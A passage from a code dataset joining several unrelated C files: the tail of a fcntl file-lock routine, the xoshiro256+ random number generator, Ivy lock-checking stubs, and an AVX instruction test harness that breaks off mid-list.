if (fcntl(fd, F_GETLK, &lock) == -1) {
printf("ERROR:No se ha podido crear el cerrojo.\n");
close(fd);
return 1;
} else
close(fd);
}
} else {
printf("STATUS: Cerrojo bloqueado.\n");
close(fd);
return 1;
}
close(fd);
}
|
the_stack_data/138073.c
|
/* Written in 2018 by David Blackman and Sebastiano Vigna ([email protected])
To the extent possible under law, the author has dedicated all copyright
and related and neighboring rights to this software to the public domain
worldwide. This software is distributed without any warranty.
See <http://creativecommons.org/publicdomain/zero/1.0/>. */
#include <stdint.h>
/* This is xoshiro256+ 1.0, our best and fastest generator for floating-point
numbers. We suggest to use its upper bits for floating-point
generation, as it is slightly faster than xoshiro256++/xoshiro256**. It
passes all tests we are aware of except for the lowest three bits,
which might fail linearity tests (and just those), so if low linear
complexity is not considered an issue (as it is usually the case) it
can be used to generate 64-bit outputs, too.
We suggest to use a sign test to extract a random Boolean value, and
right shifts to extract subsets of bits.
The state must be seeded so that it is not everywhere zero. If you have
a 64-bit seed, we suggest to seed a splitmix64 generator and use its
output to fill s. */
static inline uint64_t rotl(const uint64_t x, int k) {
return (x << k) | (x >> (64 - k));
}
static uint64_t s[4];
uint64_t next(void) {
const uint64_t result = s[0] + s[3];
const uint64_t t = s[1] << 17;
s[2] ^= s[0];
s[3] ^= s[1];
s[1] ^= s[2];
s[0] ^= s[3];
s[2] ^= t;
s[3] = rotl(s[3], 45);
return result;
}
/* This is the jump function for the generator. It is equivalent
to 2^128 calls to next(); it can be used to generate 2^128
non-overlapping subsequences for parallel computations. */
void jump(void) {
static const uint64_t JUMP[] = { 0x180ec6d33cfd0aba, 0xd5a61266f0c9392c, 0xa9582618e03fc9aa, 0x39abdc4529b1661c };
uint64_t s0 = 0;
uint64_t s1 = 0;
uint64_t s2 = 0;
uint64_t s3 = 0;
for(int i = 0; i < sizeof JUMP / sizeof *JUMP; i++)
for(int b = 0; b < 64; b++) {
if (JUMP[i] & UINT64_C(1) << b) {
s0 ^= s[0];
s1 ^= s[1];
s2 ^= s[2];
s3 ^= s[3];
}
next();
}
s[0] = s0;
s[1] = s1;
s[2] = s2;
s[3] = s3;
}
/* This is the long-jump function for the generator. It is equivalent to
2^192 calls to next(); it can be used to generate 2^64 starting points,
from each of which jump() will generate 2^64 non-overlapping
subsequences for parallel distributed computations. */
void long_jump(void) {
static const uint64_t LONG_JUMP[] = { 0x76e15d3efefdcbbf, 0xc5004e441c522fb3, 0x77710069854ee241, 0x39109bb02acbe635 };
uint64_t s0 = 0;
uint64_t s1 = 0;
uint64_t s2 = 0;
uint64_t s3 = 0;
for(int i = 0; i < sizeof LONG_JUMP / sizeof *LONG_JUMP; i++)
for(int b = 0; b < 64; b++) {
if (LONG_JUMP[i] & UINT64_C(1) << b) {
s0 ^= s[0];
s1 ^= s[1];
s2 ^= s[2];
s3 ^= s[3];
}
next();
}
s[0] = s0;
s[1] = s1;
s[2] = s2;
s[3] = s3;
}
|
the_stack_data/378221.c
|
#ifdef __IVY__
#include <assert.h>
int __ivy_checking_on = 1;
void __sharc_single_thread_error_mayreturn(const char *msg)
{
int old;
if (!__ivy_checking_on) return;
old = __ivy_checking_on;
warn("Ivy: Not single threaded: %s\n", msg);
__ivy_checking_on = old;
}
void __sharc_lock_error_mayreturn(const void *lck, const void *what,
unsigned int sz, char *msg)
{
int old;
if (!__ivy_checking_on) return;
old = __ivy_checking_on;
__ivy_checking_on = 0;
warn("Ivy: The lock %p was not held for (%p,%d): %s\n",
lck, what, sz, msg);
__ivy_checking_on = old;
}
void __sharc_lock_coerce_error_mayreturn(void *dstlck, void *srclck, char *msg)
{
int old;
if (!__ivy_checking_on) return;
old = __ivy_checking_on;
__ivy_checking_on = 0;
warn("Ivy: The locks in the coercion at %s must be the same\n", msg);
__ivy_checking_on = old;
}
#endif // __IVY__
|
the_stack_data/32951580.c
|
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <malloc.h>
typedef unsigned char UChar;
typedef unsigned int UInt;
typedef unsigned long int UWord;
typedef unsigned long long int ULong;
#define IS_32_ALIGNED(_ptr) (0 == (0x1F & (UWord)(_ptr)))
typedef union { UChar u8[32]; UInt u32[8]; } YMM;
typedef struct { YMM a1; YMM a2; YMM a3; YMM a4; ULong u64; } Block;
void showYMM ( YMM* vec )
{
int i;
assert(IS_32_ALIGNED(vec));
for (i = 31; i >= 0; i--) {
printf("%02x", (UInt)vec->u8[i]);
if (i > 0 && 0 == ((i+0) & 7)) printf(".");
}
}
void showBlock ( char* msg, Block* block )
{
printf(" %s\n", msg);
printf(" "); showYMM(&block->a1); printf("\n");
printf(" "); showYMM(&block->a2); printf("\n");
printf(" "); showYMM(&block->a3); printf("\n");
printf(" "); showYMM(&block->a4); printf("\n");
printf(" %016llx\n", block->u64);
}
UChar randUChar ( void )
{
static UInt seed = 80021;
seed = 1103515245 * seed + 12345;
return (seed >> 17) & 0xFF;
}
void randBlock ( Block* b )
{
int i;
UChar* p = (UChar*)b;
for (i = 0; i < sizeof(Block); i++)
p[i] = randUChar();
}
/* Generate a function test_NAME, that tests the given insn, in both
its mem and reg forms. The reg form of the insn may mention, as
operands only %ymm6, %ymm7, %ymm8, %ymm9 and %r14. The mem form of
the insn may mention as operands only (%rax), %ymm7, %ymm8, %ymm9
and %r14. It's OK for the insn to clobber ymm0, as this is needed
for testing PCMPxSTRx, and ymm6, as this is needed for testing
MOVMASK variants. */
#define GEN_test_RandM(_name, _reg_form, _mem_form) \
\
__attribute__ ((noinline)) static void test_##_name ( void ) \
{ \
Block* b = memalign(32, sizeof(Block)); \
randBlock(b); \
printf("%s(reg)\n", #_name); \
showBlock("before", b); \
__asm__ __volatile__( \
"vmovdqa 0(%0),%%ymm7" "\n\t" \
"vmovdqa 32(%0),%%ymm8" "\n\t" \
"vmovdqa 64(%0),%%ymm6" "\n\t" \
"vmovdqa 96(%0),%%ymm9" "\n\t" \
"movq 128(%0),%%r14" "\n\t" \
_reg_form "\n\t" \
"vmovdqa %%ymm7, 0(%0)" "\n\t" \
"vmovdqa %%ymm8, 32(%0)" "\n\t" \
"vmovdqa %%ymm6, 64(%0)" "\n\t" \
"vmovdqa %%ymm9, 96(%0)" "\n\t" \
"movq %%r14, 128(%0)" "\n\t" \
: /*OUT*/ \
: /*IN*/"r"(b) \
: /*TRASH*/"xmm0","xmm7","xmm8","xmm6","xmm9","r14","memory","cc" \
); \
showBlock("after", b); \
randBlock(b); \
printf("%s(mem)\n", #_name); \
showBlock("before", b); \
__asm__ __volatile__( \
"leaq 0(%0),%%rax" "\n\t" \
"vmovdqa 32(%0),%%ymm8" "\n\t" \
"vmovdqa 64(%0),%%ymm7" "\n\t" \
"vmovdqa 96(%0),%%ymm9" "\n\t" \
"movq 128(%0),%%r14" "\n\t" \
_mem_form "\n\t" \
"vmovdqa %%ymm8, 32(%0)" "\n\t" \
"vmovdqa %%ymm7, 64(%0)" "\n\t" \
"vmovdqa %%ymm9, 96(%0)" "\n\t" \
"movq %%r14, 128(%0)" "\n\t" \
: /*OUT*/ \
: /*IN*/"r"(b) \
: /*TRASH*/"xmm6", \
"xmm0","xmm8","xmm7","xmm9","r14","rax","memory","cc" \
); \
showBlock("after", b); \
printf("\n"); \
free(b); \
}
#define GEN_test_Ronly(_name, _reg_form) \
GEN_test_RandM(_name, _reg_form, "")
#define GEN_test_Monly(_name, _mem_form) \
GEN_test_RandM(_name, "", _mem_form)
GEN_test_RandM(VPOR_128,
"vpor %%xmm6, %%xmm8, %%xmm7",
"vpor (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPXOR_128,
"vpxor %%xmm6, %%xmm8, %%xmm7",
"vpxor (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSUBB_128,
"vpsubb %%xmm6, %%xmm8, %%xmm7",
"vpsubb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSUBD_128,
"vpsubd %%xmm6, %%xmm8, %%xmm7",
"vpsubd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDD_128,
"vpaddd %%xmm6, %%xmm8, %%xmm7",
"vpaddd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMOVZXWD_128,
"vpmovzxwd %%xmm6, %%xmm8",
"vpmovzxwd (%%rax), %%xmm8")
GEN_test_RandM(VPMOVZXBW_128,
"vpmovzxbw %%xmm6, %%xmm8",
"vpmovzxbw (%%rax), %%xmm8")
GEN_test_RandM(VPBLENDVB_128,
"vpblendvb %%xmm9, %%xmm6, %%xmm8, %%xmm7",
"vpblendvb %%xmm9, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMINSD_128,
"vpminsd %%xmm6, %%xmm8, %%xmm7",
"vpminsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMAXSD_128,
"vpmaxsd %%xmm6, %%xmm8, %%xmm7",
"vpmaxsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VANDPD_128,
"vandpd %%xmm6, %%xmm8, %%xmm7",
"vandpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTSI2SD_32,
"vcvtsi2sdl %%r14d, %%xmm8, %%xmm7",
"vcvtsi2sdl (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTSI2SD_64,
"vcvtsi2sdq %%r14, %%xmm8, %%xmm7",
"vcvtsi2sdq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTSI2SS_64,
"vcvtsi2ssq %%r14, %%xmm8, %%xmm7",
"vcvtsi2ssq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTTSD2SI_32,
"vcvttsd2si %%xmm8, %%r14d",
"vcvttsd2si (%%rax), %%r14d")
GEN_test_RandM(VCVTTSD2SI_64,
"vcvttsd2si %%xmm8, %%r14",
"vcvttsd2si (%%rax), %%r14")
GEN_test_RandM(VCVTSD2SI_32,
"vcvtsd2si %%xmm8, %%r14d",
"vcvtsd2si (%%rax), %%r14d")
GEN_test_RandM(VCVTSD2SI_64,
"vcvtsd2si %%xmm8, %%r14",
"vcvtsd2si (%%rax), %%r14")
GEN_test_RandM(VPSHUFB_128,
"vpshufb %%xmm6, %%xmm8, %%xmm7",
"vpshufb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x0,
"vcmpsd $0, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x1,
"vcmpsd $1, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $1, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x2,
"vcmpsd $2, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $2, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x3,
"vcmpsd $3, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x4,
"vcmpsd $4, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $4, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x5,
"vcmpsd $5, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $5, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x6,
"vcmpsd $6, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $6, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x7,
"vcmpsd $7, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $7, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x8,
"vcmpsd $8, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $8, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0xA,
"vcmpsd $0xA, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0xA, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0xC,
"vcmpsd $0xC, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0xC, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0xD,
"vcmpsd $0xD, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0xD, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0xE,
"vcmpsd $0xE, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0xE, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x11,
"vcmpsd $0x11, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0x11, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x12,
"vcmpsd $0x12, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0x12, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x16,
"vcmpsd $0x16, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0x16, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSD_128_0x1E,
"vcmpsd $0x1E, %%xmm6, %%xmm8, %%xmm7",
"vcmpsd $0x1E, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSQRTSD_128,
"vsqrtsd %%xmm6, %%xmm8, %%xmm7",
"vsqrtsd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VORPS_128,
"vorps %%xmm6, %%xmm8, %%xmm7",
"vorps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VANDNPS_128,
"vandnps %%xmm6, %%xmm8, %%xmm7",
"vandnps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMAXSS_128,
"vmaxss %%xmm6, %%xmm8, %%xmm7",
"vmaxss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMINSS_128,
"vminss %%xmm6, %%xmm8, %%xmm7",
"vminss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VANDPS_128,
"vandps %%xmm6, %%xmm8, %%xmm7",
"vandps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTSI2SS_128,
"vcvtsi2ssl %%r14d, %%xmm8, %%xmm7",
"vcvtsi2ssl (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VUNPCKLPS_128,
"vunpcklps %%xmm6, %%xmm8, %%xmm7",
"vunpcklps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VDIVSS_128,
"vdivss %%xmm6, %%xmm8, %%xmm7",
"vdivss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDSS_128,
"vaddss %%xmm6, %%xmm8, %%xmm7",
"vaddss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSUBSS_128,
"vsubss %%xmm6, %%xmm8, %%xmm7",
"vsubss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMULSS_128,
"vmulss %%xmm6, %%xmm8, %%xmm7",
"vmulss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKLBW_128,
"vpunpcklbw %%xmm6, %%xmm8, %%xmm7",
"vpunpcklbw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKHBW_128,
"vpunpckhbw %%xmm6, %%xmm8, %%xmm7",
"vpunpckhbw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTTSS2SI_32,
"vcvttss2si %%xmm8, %%r14d",
"vcvttss2si (%%rax), %%r14d")
GEN_test_RandM(VCVTSS2SI_32,
"vcvtss2si %%xmm8, %%r14d",
"vcvtss2si (%%rax), %%r14d")
GEN_test_RandM(VMOVQ_XMMorMEM64_to_XMM,
"vmovq %%xmm7, %%xmm8",
"vmovq (%%rax), %%xmm8")
/* NB tests the reg form only */
GEN_test_Ronly(VMOVQ_XMM_to_IREG64,
"vmovq %%xmm7, %%r14")
/* This insn only exists in the reg-reg-reg form. */
GEN_test_Ronly(VMOVHLPS_128,
"vmovhlps %%xmm6, %%xmm8, %%xmm7")
GEN_test_RandM(VPABSD_128,
"vpabsd %%xmm6, %%xmm8",
"vpabsd (%%rax), %%xmm8")
/* This insn only exists in the reg-reg-reg form. */
GEN_test_Ronly(VMOVLHPS_128,
"vmovlhps %%xmm6, %%xmm8, %%xmm7")
GEN_test_Monly(VMOVNTDQ_128,
"vmovntdq %%xmm8, (%%rax)")
GEN_test_Monly(VMOVNTDQ_256,
"vmovntdq %%ymm8, (%%rax)")
GEN_test_RandM(VMOVUPS_XMM_to_XMMorMEM,
"vmovups %%xmm8, %%xmm7",
"vmovups %%xmm9, (%%rax)")
GEN_test_RandM(VMOVQ_IREGorMEM64_to_XMM,
"vmovq %%r14, %%xmm7",
"vmovq (%%rax), %%xmm9")
GEN_test_RandM(VPCMPESTRM_0x45_128,
"vpcmpestrm $0x45, %%xmm7, %%xmm8; movapd %%xmm0, %%xmm9",
"vpcmpestrm $0x45, (%%rax), %%xmm8; movapd %%xmm0, %%xmm9")
/* NB tests the reg form only */
GEN_test_Ronly(VMOVD_XMM_to_IREG32,
"vmovd %%xmm7, %%r14d")
GEN_test_RandM(VCVTSD2SS_128,
"vcvtsd2ss %%xmm9, %%xmm8, %%xmm7",
"vcvtsd2ss (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTSS2SD_128,
"vcvtss2sd %%xmm9, %%xmm8, %%xmm7",
"vcvtss2sd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPACKUSWB_128,
"vpackuswb %%xmm9, %%xmm8, %%xmm7",
"vpackuswb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCVTTSS2SI_64,
"vcvttss2si %%xmm8, %%r14",
"vcvttss2si (%%rax), %%r14")
GEN_test_RandM(VCVTSS2SI_64,
"vcvtss2si %%xmm8, %%r14",
"vcvtss2si (%%rax), %%r14")
GEN_test_Ronly(VPMOVMSKB_128,
"vpmovmskb %%xmm8, %%r14")
GEN_test_RandM(VPAND_128,
"vpand %%xmm9, %%xmm8, %%xmm7",
"vpand (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VMOVHPD_128_StoreForm,
"vmovhpd %%xmm8, (%%rax)")
GEN_test_Monly(VMOVHPS_128_StoreForm,
"vmovhps %%xmm8, (%%rax)")
GEN_test_RandM(VPCMPEQB_128,
"vpcmpeqb %%xmm9, %%xmm8, %%xmm7",
"vpcmpeqb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSHUFPS_0x39_128,
"vshufps $0x39, %%xmm9, %%xmm8, %%xmm7",
"vshufps $0xC6, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMULPS_128,
"vmulps %%xmm9, %%xmm8, %%xmm7",
"vmulps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VSUBPS_128,
"vsubps %%xmm9, %%xmm8, %%xmm7",
"vsubps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VADDPS_128,
"vaddps %%xmm9, %%xmm8, %%xmm7",
"vaddps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMAXPS_128,
"vmaxps %%xmm9, %%xmm8, %%xmm7",
"vmaxps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMAXPS_256,
"vmaxps %%ymm9, %%ymm8, %%ymm7",
"vmaxps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VMAXPD_128,
"vmaxpd %%xmm9, %%xmm8, %%xmm7",
"vmaxpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMAXPD_256,
"vmaxpd %%ymm9, %%ymm8, %%ymm7",
"vmaxpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VMINPS_128,
"vminps %%xmm9, %%xmm8, %%xmm7",
"vminps (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMINPS_256,
"vminps %%ymm9, %%ymm8, %%ymm7",
"vminps (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VMINPD_128,
"vminpd %%xmm9, %%xmm8, %%xmm7",
"vminpd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VMINPD_256,
"vminpd %%ymm9, %%ymm8, %%ymm7",
"vminpd (%%rax), %%ymm8, %%ymm7")
GEN_test_RandM(VCVTPS2DQ_128,
"vcvtps2dq %%xmm8, %%xmm7",
"vcvtps2dq (%%rax), %%xmm8")
GEN_test_RandM(VPSHUFLW_0x39_128,
"vpshuflw $0x39, %%xmm9, %%xmm7",
"vpshuflw $0xC6, (%%rax), %%xmm8")
GEN_test_RandM(VPSHUFHW_0x39_128,
"vpshufhw $0x39, %%xmm9, %%xmm7",
"vpshufhw $0xC6, (%%rax), %%xmm8")
GEN_test_RandM(VPMULLW_128,
"vpmullw %%xmm9, %%xmm8, %%xmm7",
"vpmullw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDUSW_128,
"vpaddusw %%xmm9, %%xmm8, %%xmm7",
"vpaddusw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPMULHUW_128,
"vpmulhuw %%xmm9, %%xmm8, %%xmm7",
"vpmulhuw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPADDUSB_128,
"vpaddusb %%xmm9, %%xmm8, %%xmm7",
"vpaddusb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKLWD_128,
"vpunpcklwd %%xmm6, %%xmm8, %%xmm7",
"vpunpcklwd (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKHWD_128,
"vpunpckhwd %%xmm6, %%xmm8, %%xmm7",
"vpunpckhwd (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VPSLLD_0x05_128,
"vpslld $0x5, %%xmm9, %%xmm7")
GEN_test_Ronly(VPSRLD_0x05_128,
"vpsrld $0x5, %%xmm9, %%xmm7")
GEN_test_Ronly(VPSRAD_0x05_128,
"vpsrad $0x5, %%xmm9, %%xmm7")
GEN_test_RandM(VPSUBUSB_128,
"vpsubusb %%xmm9, %%xmm8, %%xmm7",
"vpsubusb (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPSUBSB_128,
"vpsubsb %%xmm9, %%xmm8, %%xmm7",
"vpsubsb (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VPSRLDQ_0x05_128,
"vpsrldq $0x5, %%xmm9, %%xmm7")
GEN_test_Ronly(VPSLLDQ_0x05_128,
"vpslldq $0x5, %%xmm9, %%xmm7")
GEN_test_RandM(VPANDN_128,
"vpandn %%xmm9, %%xmm8, %%xmm7",
"vpandn (%%rax), %%xmm8, %%xmm7")
/* NB tests the mem form only */
GEN_test_Monly(VMOVD_XMM_to_MEM32,
"vmovd %%xmm7, (%%rax)")
GEN_test_RandM(VPINSRD_128,
"vpinsrd $0, %%r14d, %%xmm8, %%xmm7",
"vpinsrd $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKLQDQ_128,
"vpunpcklqdq %%xmm6, %%xmm8, %%xmm7",
"vpunpcklqdq (%%rax), %%xmm8, %%xmm7")
GEN_test_Ronly(VPSRLW_0x05_128,
"vpsrlw $0x5, %%xmm9, %%xmm7")
GEN_test_Ronly(VPSLLW_0x05_128,
"vpsllw $0x5, %%xmm9, %%xmm7")
GEN_test_RandM(VPADDW_128,
"vpaddw %%xmm6, %%xmm8, %%xmm7",
"vpaddw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPACKSSDW_128,
"vpackssdw %%xmm9, %%xmm8, %%xmm7",
"vpackssdw (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VPUNPCKLDQ_128,
"vpunpckldq %%xmm6, %%xmm8, %%xmm7",
"vpunpckldq (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VINSERTPS_0x39_128,
"vinsertps $0x39, %%xmm6, %%xmm8, %%xmm7",
"vinsertps $0xC6, (%%rax), %%xmm8, %%xmm7")
GEN_test_Monly(VMOVSD_M64_XMM, "vmovsd (%%rax), %%xmm8")
GEN_test_Monly(VMOVSS_M64_XMM, "vmovss (%%rax), %%xmm8")
GEN_test_Monly(VMOVSD_XMM_M64, "vmovsd %%xmm8, (%%rax)")
GEN_test_Monly(VMOVSS_XMM_M32, "vmovss %%xmm8, (%%rax)")
GEN_test_RandM(VMOVUPD_GtoE_128,
"vmovupd %%xmm9, %%xmm6",
"vmovupd %%xmm7, (%%rax)")
GEN_test_RandM(VMOVAPD_EtoG_128,
"vmovapd %%xmm6, %%xmm8",
"vmovapd (%%rax), %%xmm9")
GEN_test_RandM(VMOVAPD_EtoG_256,
"vmovapd %%ymm6, %%ymm8",
"vmovapd (%%rax), %%ymm9")
GEN_test_RandM(VMOVAPS_EtoG_128,
"vmovaps %%xmm6, %%xmm8",
"vmovaps (%%rax), %%xmm9")
GEN_test_RandM(VMOVAPS_GtoE_128,
"vmovaps %%xmm9, %%xmm6",
"vmovaps %%xmm7, (%%rax)")
GEN_test_RandM(VMOVAPS_GtoE_256,
"vmovaps %%ymm9, %%ymm6",
"vmovaps %%ymm7, (%%rax)")
GEN_test_RandM(VMOVAPD_GtoE_128,
"vmovapd %%xmm9, %%xmm6",
"vmovapd %%xmm7, (%%rax)")
GEN_test_RandM(VMOVAPD_GtoE_256,
"vmovapd %%ymm9, %%ymm6",
"vmovapd %%ymm7, (%%rax)")
GEN_test_RandM(VMOVDQU_EtoG_128,
"vmovdqu %%xmm6, %%xmm8",
"vmovdqu (%%rax), %%xmm9")
GEN_test_RandM(VMOVDQA_EtoG_128,
"vmovdqa %%xmm6, %%xmm8",
"vmovdqa (%%rax), %%xmm9")
GEN_test_RandM(VMOVDQA_EtoG_256,
"vmovdqa %%ymm6, %%ymm8",
"vmovdqa (%%rax), %%ymm9")
GEN_test_RandM(VMOVDQU_GtoE_128,
"vmovdqu %%xmm9, %%xmm6",
"vmovdqu %%xmm7, (%%rax)")
GEN_test_RandM(VMOVDQA_GtoE_128,
"vmovdqa %%xmm9, %%xmm6",
"vmovdqa %%xmm7, (%%rax)")
GEN_test_RandM(VMOVDQA_GtoE_256,
"vmovdqa %%ymm9, %%ymm6",
"vmovdqa %%ymm7, (%%rax)")
GEN_test_Monly(VMOVQ_XMM_MEM64, "vmovq %%xmm8, (%%rax)")
GEN_test_RandM(VMOVD_IREGorMEM32_to_XMM,
"vmovd %%r14d, %%xmm7",
"vmovd (%%rax), %%xmm9")
GEN_test_RandM(VMOVDDUP_XMMorMEM64_to_XMM,
"vmovddup %%xmm8, %%xmm7",
"vmovddup (%%rax), %%xmm9")
GEN_test_RandM(VCMPSS_128_0x0,
"vcmpss $0, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x1,
"vcmpss $1, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $1, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x2,
"vcmpss $2, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $2, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x3,
"vcmpss $3, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $3, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x4,
"vcmpss $4, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $4, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x5,
"vcmpss $5, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $5, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x6,
"vcmpss $6, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $6, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x7,
"vcmpss $7, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $7, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x8,
"vcmpss $8, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $8, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0xA,
"vcmpss $0xA, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0xA, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0xC,
"vcmpss $0xC, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0xC, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0xD,
"vcmpss $0xD, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0xD, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0xE,
"vcmpss $0xE, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0xE, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x11,
"vcmpss $0x11, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0x11, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x12,
"vcmpss $0x12, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0x12, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x16,
"vcmpss $0x16, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0x16, (%%rax), %%xmm8, %%xmm7")
GEN_test_RandM(VCMPSS_128_0x1E,
"vcmpss $0x1E, %%xmm6, %%xmm8, %%xmm7",
"vcmpss $0x1E, (%%rax), %%xmm8, %%xmm7")
// The x suffix denotes a 128 -> 64 operation
GEN_test_RandM(VCVTPD2PS_128,
"vcvtpd2psx %%xmm8, %%xmm7",
"vcvtpd2psx (%%rax), %%xmm9")
GEN_test_RandM(VEXTRACTF128_0x0,
